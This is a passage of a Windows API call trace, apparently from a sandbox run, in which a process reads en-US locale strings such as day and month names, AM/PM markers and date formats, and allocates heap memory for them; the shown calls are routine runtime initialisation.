LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x30, lpLCData=0x19f568, cchData=7 | out: lpLCData="Sunday") returned 7 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sunday", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sunday", lpUsedDefaultChar=0x0) returned 7 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x7) returned 0x4cea50 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x44, lpLCData=0x19f568, cchData=4 | out: lpLCData="Jan") returned 4 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jan", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jan", lpUsedDefaultChar=0x0) returned 4 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce7b0 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x45, lpLCData=0x19f598, cchData=4 | out: lpLCData="Feb") returned 4 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Feb", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Feb", lpUsedDefaultChar=0x0) returned 4 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce7c0 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x46, lpLCData=0x19f588, cchData=4 | out: lpLCData="Mar") returned 4 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mar", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mar", lpUsedDefaultChar=0x0) returned 4 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce6f0 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x47, lpLCData=0x19f578, cchData=4 | out: lpLCData="Apr") returned 4 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apr", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Apr", lpUsedDefaultChar=0x0) returned 4 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce740 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x48, lpLCData=0x19f568, cchData=4 | out: lpLCData="May") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce7d0 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x49, lpLCData=0x19f598, cchData=4 | out: lpLCData="Jun") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jun", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jun", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce8c0 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4a, lpLCData=0x19f588, cchData=4 | out: lpLCData="Jul") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jul", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jul", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce7e0 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4b, lpLCData=0x19f578, cchData=4 | out: lpLCData="Aug") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aug", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Aug", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce750 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4c, lpLCData=0x19f568, cchData=4 | out: lpLCData="Sep") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sep", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sep", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce790 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4d, lpLCData=0x19f598, cchData=4 | out: lpLCData="Oct") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oct", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oct", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce7a0 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4e, lpLCData=0x19f588, cchData=4 | out: lpLCData="Nov") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Nov", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nov", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce860 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4f, lpLCData=0x19f578, cchData=4 | out: lpLCData="Dec") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Dec", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dec", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce8e0 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x38, lpLCData=0x19f558, cchData=8 | out: lpLCData="January") returned 8 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="January", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="January", lpUsedDefaultChar=0x0) returned 8 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce890 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x39, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x39, lpLCData=0x19f598, cchData=9 | out: lpLCData="February") returned 9 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="February", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="February", lpUsedDefaultChar=0x0) returned 9 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x9) returned 0x4c9da8 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3a, lpLCData=0x19f588, cchData=6 | out: lpLCData="March") returned 6 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="March", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="March", lpUsedDefaultChar=0x0) returned 6 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x6) returned 0x4ce8a0 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3b, lpLCData=0x19f578, cchData=6 | out: lpLCData="April") returned 6 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="April", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="April", lpUsedDefaultChar=0x0) returned 6 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x6) returned 0x4ce7f0 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3c, lpLCData=0x19f568, cchData=4 | out: lpLCData="May") returned 4 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0122.018] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce800 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0122.018] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3d, lpLCData=0x19f598, cchData=5 | out: lpLCData="June") returned 5 [0122.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="June", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="June", lpUsedDefaultChar=0x0) returned 5 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x5) returned 0x4ce810 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3e, lpLCData=0x19f588, cchData=5 | out: lpLCData="July") returned 5 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="July", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="July", lpUsedDefaultChar=0x0) returned 5 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x5) returned 0x4ce820 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3f, lpLCData=0x19f568, cchData=7 | out: lpLCData="August") returned 7 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="August", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="August", lpUsedDefaultChar=0x0) returned 7 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x7) returned 0x4ce760 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x40, lpLCData=0x19f558, cchData=10 | out: lpLCData="September") returned 10 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="September", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="September", lpUsedDefaultChar=0x0) returned 10 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa) returned 0x4c9dc0 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x41, lpLCData=0x19f598, cchData=8 | out: lpLCData="October") returned 8 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="October", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="October", lpUsedDefaultChar=0x0) returned 8 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce700 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x42, lpLCData=0x19f578, cchData=9 | out: lpLCData="November") returned 9 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="November", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="November", lpUsedDefaultChar=0x0) returned 9 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x9) returned 0x4c9dd8 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x43, lpLCData=0x19f568, cchData=9 | out: lpLCData="December") returned 9 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="December", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="December", lpUsedDefaultChar=0x0) returned 9 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x9) returned 0x4c9df0 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x28, lpLCData=0x19f568, cchData=3 | out: lpLCData="AM") returned 3 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AM", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AM", lpUsedDefaultChar=0x0) returned 3 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x3) returned 0x4ce830 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x29, lpLCData=0x19f598, cchData=3 | out: lpLCData="PM") returned 3 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PM", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PM", lpUsedDefaultChar=0x0) returned 3 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x3) returned 0x4ce840 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1f, lpLCData=0x19f578, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M/d/yyyy", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M/d/yyyy", lpUsedDefaultChar=0x0) returned 9 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x9) returned 0x4c9e08 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 19 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20, lpLCData=0x19f558, cchData=19 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dddd, MMMM d, yyyy", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dddd, MMMM d, yyyy", lpUsedDefaultChar=0x0) returned 19 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x13) returned 0x4c64e0 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1003, lpLCData=0x19f558, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0122.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h:mm:ss tt", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h:mm:ss tt", lpUsedDefaultChar=0x0) returned 11 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb) returned 0x4c9e20 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20001009, lpLCData=0x19f620, cchData=2 | out: lpLCData="\x01") returned 2 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.019] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce8d0 [0122.019] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x31, lpLCData=0x4ce8d0, cchData=4 | out: lpLCData="Mon") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce770 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x32, lpLCData=0x4ce770, cchData=4 | out: lpLCData="Tue") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce850 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x33, lpLCData=0x4ce850, cchData=4 | out: lpLCData="Wed") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce870 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x34, lpLCData=0x4ce870, cchData=4 | out: lpLCData="Thu") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce880 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x35, lpLCData=0x4ce880, cchData=4 | out: lpLCData="Fri") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce720 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x36, lpLCData=0x4ce720, cchData=4 | out: lpLCData="Sat") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce8b0 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x37, lpLCData=0x4ce8b0, cchData=4 | out: lpLCData="Sun") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe) returned 0x4c9e38 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2a, lpLCData=0x4c9e38, cchData=7 | out: lpLCData="Monday") returned 7 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x10) returned 0x4ca0c0 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2b, lpLCData=0x4ca0c0, cchData=8 | out: lpLCData="Tuesday") returned 8 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x14) returned 0x4c65e0 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2c, lpLCData=0x4c65e0, cchData=10 | out: lpLCData="Wednesday") returned 10 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c6580 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2d, lpLCData=0x4c6580, cchData=9 | out: lpLCData="Thursday") returned 9 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe) returned 0x4ca0d8 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2e, lpLCData=0x4ca0d8, cchData=7 | out: lpLCData="Friday") returned 7 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c63a0 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2f, lpLCData=0x4c63a0, cchData=9 | out: lpLCData="Saturday") returned 9 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe) returned 0x4ca0f0 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x30, lpLCData=0x4ca0f0, cchData=7 | out: lpLCData="Sunday") returned 7 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce710 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x44, lpLCData=0x4ce710, cchData=4 | out: lpLCData="Jan") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce730 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x45, lpLCData=0x4ce730, cchData=4 | out: lpLCData="Feb") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce780 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x46, lpLCData=0x4ce780, cchData=4 | out: lpLCData="Mar") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4c56f0 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x47, lpLCData=0x4c56f0, cchData=4 | out: lpLCData="Apr") returned 4 [0122.020] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.020] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ceb58 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x48, lpLCData=0x4ceb58, cchData=4 | out: lpLCData="May") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", 